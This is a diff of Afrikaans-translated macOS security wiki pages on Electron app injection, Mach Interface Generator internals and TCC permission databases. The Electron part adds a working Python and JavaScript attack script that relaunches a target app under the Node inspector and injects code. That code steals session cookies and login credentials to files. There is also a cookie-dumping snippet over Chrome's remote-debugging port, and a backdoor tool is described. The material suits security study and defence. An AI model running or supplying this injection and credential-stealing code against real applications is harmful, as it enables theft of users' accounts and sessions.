+}); +} + +function get_cookies() { +intervalIdCookies = setInterval(() => { +console.log("Checking cookies..."); +wc.session.cookies.get({}) +.then((cookies) => { +tokenCookie = cookies.find(cookie => cookie.name === "token"); +if (tokenCookie){ +writeToFile("/tmp/cookies.txt", cookies); +clearInterval(intervalIdCookies); +wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`); +} +}) +}, 1000); +} + +function get_creds() { +in_location = false; +intervalIdCreds = setInterval(() => { +if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) { +in_location = true; +console.log("Injecting creds logger..."); +wc.executeJavaScript(` +(function() { +email = document.getElementById('login_email_id'); +password = document.getElementById('login_password_id'); +if (password && email) { +return email.value+":"+password.value; +} +})(); +`).then(result => { +writeToFile("/tmp/victim_credentials.txt", result); +}) +} +else if (in_location) { +wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`); +clearInterval(intervalIdCreds); +} +}, 10); // Check every 10ms +setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds +} + +get_cookies(); +get_creds(); +console.log("Payloads injected"); +""" + +async def get_debugger_url(): +""" +Fetch the local inspector's WebSocket URL from the JSON endpoint. +Assumes there's exactly one debug target. +""" +global INSPECT_URL + +url = "http://127.0.0.1:9229/json" +response = requests.get(url) +data = response.json() +if not data: +raise RuntimeError("No debug targets found on port 9229.") +# data[0] should contain an object with "webSocketDebuggerUrl" +ws_url = data[0].get("webSocketDebuggerUrl") +if not ws_url: +raise RuntimeError("webSocketDebuggerUrl not found in inspector data.") +INSPECT_URL = ws_url + + +async def monitor_victim(): +print("Monitoring victim process...") +found = False +while not found: +sleep(1) # Check every second +for process in psutil.process_iter(attrs=['pid', 'name']): +try: +# Check if the process name contains "victim" +if process.info['name'] and 'victim' in process.info['name']: +found = True +print(f"Found victim process (PID: {process.info['pid']}). Terminating...") +os.kill(process.info['pid'], 9) # Force kill the process +except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): +# Handle processes that might have terminated or are inaccessible +pass +os.system("open /Applications/victim.app --args --inspect-brk") + +async def bypass_protections(): +global CONTEXT_ID, NAME, UNIQUE_ID +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] + +sleep(1) + +await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000}) + +await send_cmd(ws, "Profiler.enable") + +await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False}) + +await send_cmd(ws, "Runtime.runIfWaitingForDebugger") + +await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}}) + +code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']""" +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID}) +print("Injected code to bypass protections") + + +async def js_payloads(): +global CONT, CONTEXT_ID, NAME, UNIQUE_ID + +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] +await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1}) +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID}) + + + +async def main(): +await monitor_victim() +sleep(3) +await get_debugger_url() +await bypass_protections() + +sleep(7) + +await js_payloads() + + + +async def send_cmd(ws, method, get_first=False, params={}): +""" +Send a command to the inspector and read until we get a response with matching "id". +""" +global CONT + +CONT += 1 + +# Send the command +await ws.send(json.dumps({"id": CONT, "method": method, "params": params})) +sleep(0.4) + +# Read messages until we get our command result +while True: +response = await ws.recv() +data = json.loads(response) + +# Print for debugging +print(f"[{method} / {CONT}] ->", data) + +if get_first: +return data + +# If this message is a response to our command (by matching "id"), break +if data.get("id") == CONT: +return data + +# Otherwise it's an event or unrelated message; keep reading + +if __name__ == "__main__": +asyncio.run(main()) +``` > [!CAUTION] > As die fuse **`EnableNodeCliInspectArguments`** gedeaktiveer is, sal die app **node parameters** (soos `--inspect`) ignoreer wanneer dit gelaai word, tensy die omgewing veranderlike **`ELECTRON_RUN_AS_NODE`** gestel is, wat ook **geignoreer** sal word as die fuse **`RunAsNode`** gedeaktiveer is. > > U kan egter steeds die **electron param `--remote-debugging-port=9229`** gebruik, maar die vorige payload sal nie werk om ander prosesse uit te voer nie. -Deur die param **`--remote-debugging-port=9222`** te gebruik, is dit moontlik om sekere inligting van die Electron App te steel, soos die **geskiedenis** (met GET-opdragte) of die **cookies** van die blaaier (aangesien dit **ontsleuteld** binne die blaaier is en daar 'n **json endpoint** is wat dit sal gee). +Met die param **`--remote-debugging-port=9222`** is dit moontlik om sekere inligting van die Electron App te steel, soos die **geskiedenis** (met GET-opdragte) of die **cookies** van die blaaskier (aangesien dit **ontsleuteld** binne die blaaskier is en daar 'n **json endpoint** is wat dit sal verskaf). U kan leer hoe om dit te doen in [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) en [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) en die outomatiese hulpmiddel [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) of 'n eenvoudige skrip soos: ```python @@ -169,9 +377,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` -In [**hierdie blogpos**](https://hackerone.com/reports/1274695), word hierdie foutopsporing misbruik om 'n headless chrome **arbitraire lĂȘers in arbitraire plekke af te laai**. - -### Inspuiting vanaf die App Plist +### Injection from the App Plist Jy kan hierdie omgewing veranderlike in 'n plist misbruik om volharding te handhaaf deur hierdie sleutels by te voeg: ```xml @@ -192,14 +398,16 @@ Jy kan hierdie omgewing veranderlike in 'n plist misbruik om volharding te handh > [!TIP] > Die TCC daemon van macOS kontroleer nie die uitgevoerde weergawe van die toepassing nie. So as jy **nie kode in 'n Electron-toepassing kan inspuit nie** met enige van die vorige tegnieke, kan jy 'n vorige weergawe van die APP aflaai en kode daarop inspuit, aangesien dit steeds die TCC voorregte sal ontvang (tenzij Trust Cache dit voorkom). -## Voer nie-JS Kode uit +## Voer nie-JS kode uit -Die vorige tegnieke sal jou toelaat om **JS kode binne die proses van die electron-toepassing uit te voer**. Onthou egter dat die **kind proses onder dieselfde sandbox profiel** as die ouer toepassing loop en **hulle TCC toestemmings erf**.\ +Die vorige tegnieke sal jou toelaat om **JS kode binne die proses van die electron-toepassing uit te voer**. Onthou egter dat die **kind prosesse onder dieselfde sandbox profiel** as die ouer toepassing loop en **hul TCC toestemmings erf**.\ Daarom, as jy voorregte wil misbruik om toegang tot die kamera of mikrofoon te verkry, kan jy eenvoudig **'n ander binĂȘre vanaf die proses uitvoer**. ## Outomatiese Inspuiting -Die hulpmiddel [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kan maklik gebruik word om **kwesbare electron-toepassings** wat geĂŻnstalleer is te vind en kode daarop in te spuit. Hierdie hulpmiddel sal probeer om die **`--inspect`** tegniek te gebruik: +- [**electroniz3r**](https://github.com/r3ggi/electroniz3r) + +Die hulpmiddel [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kan maklik gebruik word om **kwetsbare electron-toepassings** wat geĂŻnstalleer is te vind en kode daarop in te spuit. Hierdie hulpmiddel sal probeer om die **`--inspect`** tegniek te gebruik: Jy moet dit self saamstel en kan dit soos volg gebruik: ```bash @@ -237,7 +445,12 @@ You can now kill the app using `kill -9 57739` The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5 Shell binding requested. Check `nc 127.0.0.1 12345` ``` -## Verwysings +- [https://github.com/boku7/Loki](https://github.com/boku7/Loki) + +Loki is ontwerp om Electron-toepassings te backdoor deur die toepassings se JavaScript-lĂȘers te vervang met die Loki Command & Control JavaScript-lĂȘers. + + +## References - [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index 87de70267..7ac2ff13c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -10,7 +10,7 @@ Die definisie word gespesifiseer in Interface Definition Language (IDL) met die Hierdie definisies het 5 afdelings: -- **Substelseld verklaring**: Die sleutelwoord subsystem word gebruik om die **naam** en die **id** aan te dui. Dit is ook moontlik om dit as **`KernelServer`** te merk as die bediener in die kernel moet loop. +- **Substelseld verklaring**: Die sleutelwoord substelsel word gebruik om die **naam** en die **id** aan te dui. Dit is ook moontlik om dit as **`KernelServer`** te merk as die bediener in die kernel moet loop. - **Insluitings en invoere**: MIG gebruik die C-prepocessor, so dit kan invoere gebruik. Boonop is dit moontlik om `uimport` en `simport` te gebruik vir gebruiker of bediener gegenereerde kode. - **Tipe verklarings**: Dit is moontlik om datatipes te definieer alhoewel dit gewoonlik `mach_types.defs` en `std_types.defs` sal invoer. Vir persoonlike tipes kan 'n sekere sintaksis gebruik word: - \[i`n/out]tran`: Funksie wat vertaal moet word van 'n inkomende of na 'n uitgaande boodskap @@ -42,7 +42,7 @@ n2 : uint32_t); ``` Let wel dat die eerste **argument die poort is om te bind** en MIG sal **automaties die antwoordpoort hanteer** (tenzij `mig_get_reply_port()` in die kliĂ«ntkode aangeroep word). Boonop sal die **ID van die operasies** **sekwensieel** wees wat begin met die aangeduide subsysteem-ID (so as 'n operasie verouderd is, word dit verwyder en `skip` word gebruik om steeds sy ID te gebruik). -Gebruik nou MIG om die bediener- en kliĂ«ntkode te genereer wat in staat sal wees om met mekaar te kommunikeer om die Subtract-funksie aan te roep: +Gebruik nou MIG om die bediener- en kliĂ«ntkode te genereer wat in staat sal wees om met mekaar te kommunikeer om die Aftrek-funksie aan te roep: ```bash mig -header myipcUser.h -sheader myipcServer.h myipc.defs ``` @@ -108,14 +108,14 @@ In hierdie voorbeeld het ons slegs 1 funksie in die definisies gedefinieer, maar As die funksie verwag is om 'n **antwoord** te stuur, sou die funksie `mig_internal kern_return_t __MIG_check__Reply__` ook bestaan het. -Werklik is dit moontlik om hierdie verhouding in die struktuur **`subsystem_to_name_map_myipc`** van **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* in ander lĂȘers): +Werklik is dit moontlik om hierdie verhouding in die struktuur **`subsystem_to_name_map_myipc`** van **`myipcServer.h`** (**`subsystem*to_name_map*\***`** in ander lĂȘers) te identifiseer: ```c #ifndef subsystem_to_name_map_myipc #define subsystem_to_name_map_myipc \ { "Subtract", 500 } #endif ``` -Uiteindelik, 'n ander belangrike funksie om die bediener te laat werk sal **`myipc_server`** wees, wat die een is wat werklik die **funksie** wat verband hou met die ontvangde id sal **aanroep**: +Uiteindelik, 'n ander belangrike funksie om die bediener te laat werk sal wees **`myipc_server`**, wat die een is wat werklik die **funksie** wat verband hou met die ontvangde id sal **aanroep**:
mig_external boolean_t myipc_server
 (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@@ -229,7 +229,7 @@ En **MIG-kliënte** sal die `__NDR_record` gebruik om met `__mach_msg` na die be
 
 ### jtool
 
-Aangesien baie binĂȘre nou MIG gebruik om mach-poorte bloot te stel, is dit interessant om te weet hoe om **te identifiseer dat MIG gebruik is** en die **funksies wat MIG met elke boodskap-ID uitvoer**.
+Aangesien baie binĂȘre nou MIG gebruik om mach-poorte bloot te stel, is dit interessant om te weet hoe om **te identifiseer dat MIG gebruik is** en die **funksies wat MIG uitvoer** met elke boodskap-ID.
 
 [**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) kan MIG-inligting uit 'n Mach-O binĂȘre ontleed wat die boodskap-ID aandui en die funksie identifiseer wat uitgevoer moet word:
 ```bash
@@ -241,7 +241,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL
 ```
 ### Assembly
 
-Daar is voorheen genoem dat die funksie wat **die korrekte funksie sal aanroep afhangende van die ontvangde boodskap ID** `myipc_server` was. Dit is egter gewoonlik dat jy nie die simbole van die binĂȘre (geen funksie name) sal hĂȘ nie, so dit is interessant om **te kyk hoe dit dekompilerend lyk** aangesien dit altyd baie soortgelyk sal wees (die kode van hierdie funksie is onafhanklik van die funksies wat blootgestel word):
+Daar is voorheen genoem dat die funksie wat **die korrekte funksie sal aanroep afhangende van die ontvangde boodskap-ID** `myipc_server` was. Dit is egter gewoonlik dat jy nie die simbole van die binĂȘre (geen funksiename) sal hĂȘ nie, so dit is interessant om **te kyk hoe dit dekompilleer lyk** aangesien dit altyd baie soortgelyk sal wees (die kode van hierdie funksie is onafhanklik van die funksies wat blootgestel word):
 
 {{#tabs}}
 {{#tab name="myipc_server decompiled 1"}}
@@ -259,9 +259,9 @@ var_18 = arg1;
 if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
 rax = *(int32_t *)(var_10 + 0x14);
 // Aanroep na sign_extend_64 wat kan help om hierdie funksie te identifiseer
-// Dit stoor in rax die aanwyser na die oproep wat gemaak moet word
-// Kontroleer die gebruik van die adres 0x100004040 (funksies aanwysers array)
-// 0x1f4 = 500 (die begin ID)
+// Dit stoor in rax die aanwyser na die oproep wat aangeroep moet word
+// Kontroleer die gebruik van die adres 0x100004040 (funksies se adresse array)
+// 0x1f4 = 500 (die begin-ID)
             rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
             var_20 = rax;
 // As - anders, die as keer vals terug, terwyl die anders die korrekte funksie aanroep en waarborg waar
@@ -289,7 +289,7 @@ return rax;
 {{#endtab}}
 
 {{#tab name="myipc_server decompiled 2"}}
-Dit is dieselfde funksie dekompilerend in 'n ander Hopper gratis weergawe:
+Dit is dieselfde funksie dekompilleer in 'n ander Hopper gratis weergawe:
 
 
int _myipc_server(int arg0, int arg1) {
 r31 = r31 - 0x40;
@@ -321,7 +321,7 @@ r8 = 0x1;
 }
 if ((r8 & 0x1) == 0x0) {
 r8 = *(int32_t *)(var_10 + 0x14);
-// 0x1f4 = 500 (die begin ID)
+// 0x1f4 = 500 (die begin-ID)
                     r8 = r8 - 0x1f4;
                     asm { smaddl     x8, w8, w9, x10 };
 r8 = *(r8 + 0x8);
@@ -333,7 +333,7 @@ r8 = 0x1;
 }
 }
 // Dieselfde as - anders soos in die vorige weergawe
-// Kontroleer die gebruik van die adres 0x100004040 (funksies aanwysers array)
+// Kontroleer die gebruik van die adres 0x100004040 (funksies se adresse array)
                     if ((r8 & 0x1) == 0x0) {
                             *(var_18 + 0x18) = **0x100004000;
                             *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
@@ -371,7 +371,7 @@ As jy eintlik na die funksie **`0x100004000`** gaan, sal jy die array van **`rou
 
 
-Hierdie data kan [**met hierdie Hopper skrip**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) onttrek word. +Hierdie data kan [**gebruik word om hierdie Hopper-skrip**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) te onttrek. ### Debug diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index b2c71e39a..781e77072 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -4,15 +4,15 @@ ## **Basiese Inligting** -**TCC (Deursigtigheid, Toestemming, en Beheer)** is 'n sekuriteitsprotokol wat fokus op die regulering van toepassings se toestemmings. Sy primĂȘre rol is om sensitiewe funksies soos **liggingsdienste, kontakte, foto's, mikrofoon, kamera, toeganklikheid, en volle skyf toegang** te beskerm. Deur eksplisiete gebruikers toestemming te vereis voordat toegang aan toepassings tot hierdie elemente gegee word, verbeter TCC privaatheid en gebruikersbeheer oor hul data. +**TCC (Deursigtigheid, Toestemming, en Beheer)** is 'n sekuriteitsprotokol wat fokus op die regulering van toepassings se toestemmings. Sy primĂȘre rol is om sensitiewe funksies soos **liggingsdienste, kontakte, foto's, mikrofoon, kamera, toeganklikheid, en volle skyftoegang** te beskerm. Deur eksplisiete gebruikers toestemming te vereis voordat toegang aan toepassings tot hierdie elemente gegee word, verbeter TCC privaatheid en gebruikersbeheer oor hul data. -Gebruikers teĂ«kom TCC wanneer toepassings toegang tot beskermde funksies versoek. Dit is sigbaar deur 'n prompt wat gebruikers toelaat om **toegang goed te keur of te weier**. Verder, TCC akkommodeer direkte gebruikers aksies, soos **slepen en laat val van lĂȘers in 'n toepassing**, om toegang tot spesifieke lĂȘers te verleen, wat verseker dat toepassings slegs toegang het tot wat eksplisiet toegelaat word. +Gebruikers teĂ«kom TCC wanneer toepassings toegang tot beskermde funksies versoek. Dit is sigbaar deur 'n prompt wat gebruikers toelaat om **toegang goed te keur of te weier**. Verder akkommodeer TCC direkte gebruikers aksies, soos **slepen en laat val van lĂȘers in 'n toepassing**, om toegang tot spesifieke lĂȘers te verleen, wat verseker dat toepassings slegs toegang het tot wat eksplisiet toegelaat word. -!['n Voorbeeld van 'n TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) +![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) **TCC** word hanteer deur die **daemon** geleĂ« in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` en geconfigureer in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (wat die mach diens `com.apple.tccd.system` registreer). -Daar is 'n **gebruikermodus tccd** wat per ingelogde gebruiker loop, gedefinieer in `/System/Library/LaunchAgents/com.apple.tccd.plist` wat die mach dienste `com.apple.tccd` en `com.apple.usernotifications.delegate.com.apple.tccd` registreer. +Daar is 'n **gebruikermodus tccd** wat per ingelogde gebruiker loop, gedefinieer in `/System/Library/LaunchAgents/com.apple.tccd.plist`, wat die mach dienste `com.apple.tccd` en `com.apple.usernotifications.delegate.com.apple.tccd` registreer. Hier kan jy die tccd sien wat as stelsel en as gebruiker loop: ```bash @@ -20,25 +20,25 @@ ps -ef | grep tcc 0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system 501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd ``` -Permissies word **geĂ«rf van die ouer** toepassing en die **permissies** word **gevolg** op grond van die **Bundle ID** en die **Developer ID**. +Permissions word **geĂ«rf van die ouer** toepassing en die **toestemmings** word **gevolg** op grond van die **Bundle ID** en die **Developer ID**. -### TCC Databasas +### TCC Databases -Die toelaes/weiering word dan in sommige TCC databasas gestoor: +Die toestemmings/ontkennings word dan in sommige TCC-databasisse gestoor: - Die stelselswye databasis in **`/Library/Application Support/com.apple.TCC/TCC.db`**. - Hierdie databasis is **SIP beskerm**, so slegs 'n SIP omseiling kan daarin skryf. - Die gebruiker TCC databasis **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** vir per-gebruiker voorkeure. -- Hierdie databasis is beskerm, so slegs prosesse met hoĂ« TCC voorregte soos Volledige Skyf Toegang kan daarin skryf (maar dit is nie deur SIP beskerm nie). +- Hierdie databasis is beskerm, so slegs prosesse met hoĂ« TCC bevoegdhede soos Volledige Skyf Toegang kan daarin skryf (maar dit is nie deur SIP beskerm nie). > [!WARNING] -> Die vorige databasas is ook **TCC beskerm vir lees toegang**. So jy **sal nie in staat wees om te lees** jou gewone gebruiker TCC databasis tensy dit van 'n TCC voorregte proses is. +> Die vorige databasisse is ook **TCC beskerm vir lees toegang**. So jy **sal nie in staat wees om** jou gewone gebruiker TCC databasis te lees tensy dit van 'n TCC bevoegde proses is. > -> Onthou egter dat 'n proses met hierdie hoĂ« voorregte (soos **FDA** of **`kTCCServiceEndpointSecurityClient`**) in staat sal wees om in die gebruikers TCC databasis te skryf. +> Onthou egter dat 'n proses met hierdie hoĂ« bevoegdhede (soos **FDA** of **`kTCCServiceEndpointSecurityClient`**) in staat sal wees om in die gebruikers TCC databasis te skryf. -- Daar is 'n **derde** TCC databasis in **`/var/db/locationd/clients.plist`** om kliĂ«nte aan te dui wat toegelaat word om **toegang tot ligging dienste** te hĂȘ. -- Die SIP beskermde lĂȘer **`/Users/carlospolop/Downloads/REG.db`** (ook beskerm teen lees toegang met TCC), bevat die **ligging** van al die **geldige TCC databasas**. -- Die SIP beskermde lĂȘer **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (ook beskerm teen lees toegang met TCC), bevat meer TCC toegewyde permissies. +- Daar is 'n **derde** TCC databasis in **`/var/db/locationd/clients.plist`** om kliĂ«nte aan te dui wat toegelaat word om **toegang tot liggingdienste** te hĂȘ. +- Die SIP beskermde lĂȘer **`/Users/carlospolop/Downloads/REG.db`** (ook beskerm teen lees toegang met TCC), bevat die **ligging** van al die **geldige TCC databasisse**. +- Die SIP beskermde lĂȘer **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (ook beskerm teen lees toegang met TCC), bevat meer TCC toegewyde toestemmings. - Die SIP beskermde lĂȘer **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (maar leesbaar deur enige iemand) is 'n toelaat lys van toepassings wat 'n TCC uitsondering vereis. > [!TIP] @@ -54,9 +54,9 @@ Die toelaes/weiering word dan in sommige TCC databasas gestoor: > com.apple.rootless.storage.TCC > ``` > -> Onthou egter dat gebruikers **kan verwyder of vra reĂ«ls** met die **`tccutil`** opdraglyn nut. +> Onthou egter dat gebruikers **reĂ«ls kan verwyder of navraag doen** met die **`tccutil`** opdraglyn nut. -#### Vra die databasas +#### Navraag oor die databasisse {{#tabs}} {{#tab name="user DB"}} @@ -78,7 +78,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; ``` {{#endtab}} -{{#tab name="stelsel DB"}} +{{#tab name="system DB"}} ```bash sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db sqlite> .schema @@ -102,7 +102,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; {{#endtabs}} > [!TIP] -> Deur beide databasisse te kontroleer, kan jy die toestemmings wat 'n toepassing toegelaat het, verbied het, of nie het nie (dit sal daarna vra). +> Deur beide databasisse te kontroleer, kan jy die toestemmings wat 'n app toegelaat het, verbied het, of nie het nie (dit sal daarna vra). - Die **`service`** is die TCC **toestemming** string voorstelling - Die **`client`** is die **bundel ID** of **pad na binĂȘre** met die toestemmings @@ -153,7 +153,7 @@ Doen net **`launctl load you_bin.plist`**, met 'n plist soos: - Die **`auth_value`** kan verskillende waardes hĂȘ: denied(0), unknown(1), allowed(2), of limited(3). - Die **`auth_reason`** kan die volgende waardes neem: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) -- Die **csreq** veld is daar om aan te dui hoe om die binĂȘre te verifieer om uit te voer en die TCC-toestemmings te verleen: +- Die **csreq** veld is daar om aan te dui hoe om die binĂȘre te verifieer om uit te voer en die TCC-toestemmings toe te ken: ```bash # Query to get cserq in printable hex select service, client, hex(csreq) from access where auth_value=2; @@ -174,7 +174,7 @@ echo "X'$REQ_HEX'" Jy kan ook **reeds gegee toestemmings** aan toepassings in `System Preferences --> Security & Privacy --> Privacy --> Files and Folders` nagaan. > [!TIP] -> Gebruikers _kan_ **reĂ«ls verwyder of navraag doen** met **`tccutil`** . +> Gebruikers _kan_ **reĂ«ls verwyder of navraag doen** met **`tccutil`**. #### Stel TCC-toestemmings terug ```bash @@ -203,8 +203,8 @@ csreq -t -r /tmp/telegram_csreq.bin ### Regte & TCC Toestemmings -Toepassings **moet nie net** **aansoek doen** en **toegang gegee** wees tot sommige hulpbronne nie, hulle moet ook **die relevante regte hĂȘ**.\ -Byvoorbeeld **Telegram** het die reg `com.apple.security.device.camera` om **toegang tot die kamera** te vra. 'n **toepassing** wat **nie** hierdie **reg het nie, sal nie** toegang tot die kamera kan verkry (en die gebruiker sal nie eens vir die toestemmings gevra word nie). +Toepassings **hoef nie net** te **versoek** en het **toegang gegee** tot sommige hulpbronne nie, hulle moet ook **die relevante regte hĂȘ**.\ +Byvoorbeeld **Telegram** het die reg `com.apple.security.device.camera` om **toegang tot die kamera** te versoek. 'n **toepassing** wat **nie** hierdie **reg het nie, sal nie in staat wees** om toegang tot die kamera te verkry (en die gebruiker sal nie eens vir die toestemmings gevra word nie). However, vir toepassings om **toegang** tot **sekere gebruikersmappies** te hĂȘ, soos `~/Desktop`, `~/Downloads` en `~/Documents`, hoef hulle **nie** enige spesifieke **regte te hĂȘ nie.** Die stelsel sal toegang deursigtig hanteer en **die gebruiker** soos nodig vra. @@ -232,9 +232,9 @@ Sommige TCC-toestemmings is: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCSe - $HOME/.ssh, $HOME/.aws, ens. - /tmp -### Gebruiker se Intent / com.apple.macl +### Gebruiker Intentie / com.apple.macl -Soos vroeĂ«r genoem, is dit moontlik om **toegang aan 'n App tot 'n lĂȘer te verleen deur dit te sleep en te laat val**. Hierdie toegang sal nie in enige TCC-databasis gespesifiseer word nie, maar as 'n **uitgebreide** **attribuut van die lĂȘer**. Hierdie attribuut sal die **UUID** van die toegelate app **stoor**: +Soos vroeĂ«r genoem, is dit moontlik om **toegang aan 'n App tot 'n lĂȘer te verleen deur dit te sleep en te laat val**. Hierdie toegang sal nie in enige TCC-databasis gespesifiseer word nie, maar as 'n **verlengde** **attribuut van die lĂȘer**. Hierdie attribuut sal die **UUID** van die toegelate app **stoor**: ```bash xattr Desktop/private.txt com.apple.macl @@ -252,9 +252,9 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 > [!NOTE] > Dit is nuuskierig dat die **`com.apple.macl`** attribuut bestuur word deur die **Sandbox**, nie tccd nie. > -> Let ook daarop dat as jy 'n lĂȘer wat die UUID van 'n toepassing op jou rekenaar toelaat, na 'n ander rekenaar skuif, omdat dieselfde toepassing verskillende UIDs sal hĂȘ, dit nie toegang tot daardie toepassing sal verleen nie. +> Let ook daarop dat as jy 'n lĂȘer wat die UUID van 'n toepassing op jou rekenaar toelaat, na 'n ander rekenaar skuif, omdat dieselfde toepassing verskillende UIDs sal hĂȘ, dit nie toegang aan daardie toepassing sal verleen nie. -Die uitgebreide attribuut `com.apple.macl` **kan nie verwyder** word soos ander uitgebreide attribuut nie omdat dit **beskerm word deur SIP**. Dit is egter moontlik om dit te deaktiveer **deur die lĂȘer te zip,** **dit te verwyder** en **dit te unzip.** +Die uitgebreide attribuut `com.apple.macl` **kan nie verwyder** word nie soos ander uitgebreide attribuut omdat dit **beskerm word deur SIP**. Dit is egter moontlik om dit te deaktiveer **deur die lĂȘer te zip**, **dit te verwyder** en **dit weer te unzip** soos [**in hierdie pos verduidelik**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/). ## TCC Privesc & Bypasses @@ -308,7 +308,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp ### TCC Payloads -As jy daarin geslaag het om in 'n app met sommige TCC-toestemmings te kom, kyk na die volgende bladsy met TCC payloads om dit te misbruik: +As jy daarin geslaag het om in 'n app met 'n paar TCC-toestemmings te kom, kyk na die volgende bladsy met TCC payloads om dit te misbruik: {{#ref}} macos-tcc-payloads.md @@ -361,16 +361,16 @@ EOD Jy kan dit misbruik om **jou eie gebruiker TCC databasis te skryf**. > [!WARNING] -> Met hierdie toestemming sal jy in staat wees om **Finder te vra om toegang tot TCC-beperkte vouers** te verkry en jou die lĂȘers te gee, maar sover ek weet, sal jy **nie in staat wees om Finder te laat uitvoer nie** willekeurige kode om sy FDA-toegang ten volle te misbruik. +> Met hierdie toestemming sal jy in staat wees om **Finder te vra om toegang tot TCC-beperkte vouers** te verkry en jou die lĂȘers te gee, maar sover ek weet, **sal jy nie in staat wees om Finder te laat uitvoer van willekeurige kode** om sy FDA-toegang ten volle te misbruik nie. > > Daarom sal jy nie in staat wees om die volle FDA vermoĂ«ns te misbruik nie. -Dit is die TCC-prompt om outomatiseringsregte oor Finder te verkry: +Dit is die TCC-prompt om outomatiseringsprivileges oor Finder te 